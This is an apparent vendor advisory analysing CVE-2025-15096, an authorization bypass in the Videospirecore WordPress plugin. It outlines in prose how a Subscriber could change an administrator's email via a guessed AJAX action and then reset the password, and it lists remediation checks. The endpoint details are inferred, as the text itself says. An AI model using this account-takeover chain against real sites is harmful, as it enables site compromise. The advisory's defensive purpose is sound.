Atomic Edge analysis of CVE-2025-15096 (metadata-based):
This vulnerability is an authorization bypass in the Videospirecore Theme Plugin for WordPress, allowing authenticated attackers with Subscriber-level permissions to change the email address of any user, including administrators. This flaw enables account takeover and privilege escalation. The CVSS score of 8.8 (High) reflects the high impact of this access control failure.
CWE-639, Authorization Bypass Through User-Controlled Key, indicates the root cause. The plugin likely uses a user-controlled parameter, such as a user ID, to identify which account to update without verifying the requesting user has the correct authorization. The vulnerability description confirms the plugin does not properly validate a user’s identity before updating their details. Atomic Edge research infers the vulnerable code is likely an AJAX handler or REST API endpoint that processes user profile updates. This conclusion is based on the CWE classification and common WordPress plugin patterns, not direct code review.
Exploitation requires an authenticated attacker with a Subscriber account. The attacker would send a crafted request to a plugin-specific endpoint, such as `/wp-admin/admin-ajax.php`. The request would contain an action parameter like `videospirecore_update_user_email` and a parameter specifying the target user ID and a new email address. The payload would lack a capability check or nonce verification, or it would incorrectly trust a user-supplied ID. The attacker can then trigger a password reset to the new email to complete the account takeover.
Remediation requires implementing proper authorization checks. The plugin must verify the current user’s capability to edit the target user, typically using `current_user_can(‘edit_user’, $target_user_id)`. It must also implement nonce verification for the request and ensure the user ID parameter is validated against the current user’s permissions. A patch should also sanitize and validate the email address parameter.
Successful exploitation leads to a complete account takeover of any user, including administrators. An attacker can escalate privileges from Subscriber to Administrator, gaining full control over the WordPress site. This allows data theft, content manipulation, plugin installation, and further server compromise. The attack chain is reliable and requires only low-privilege access.
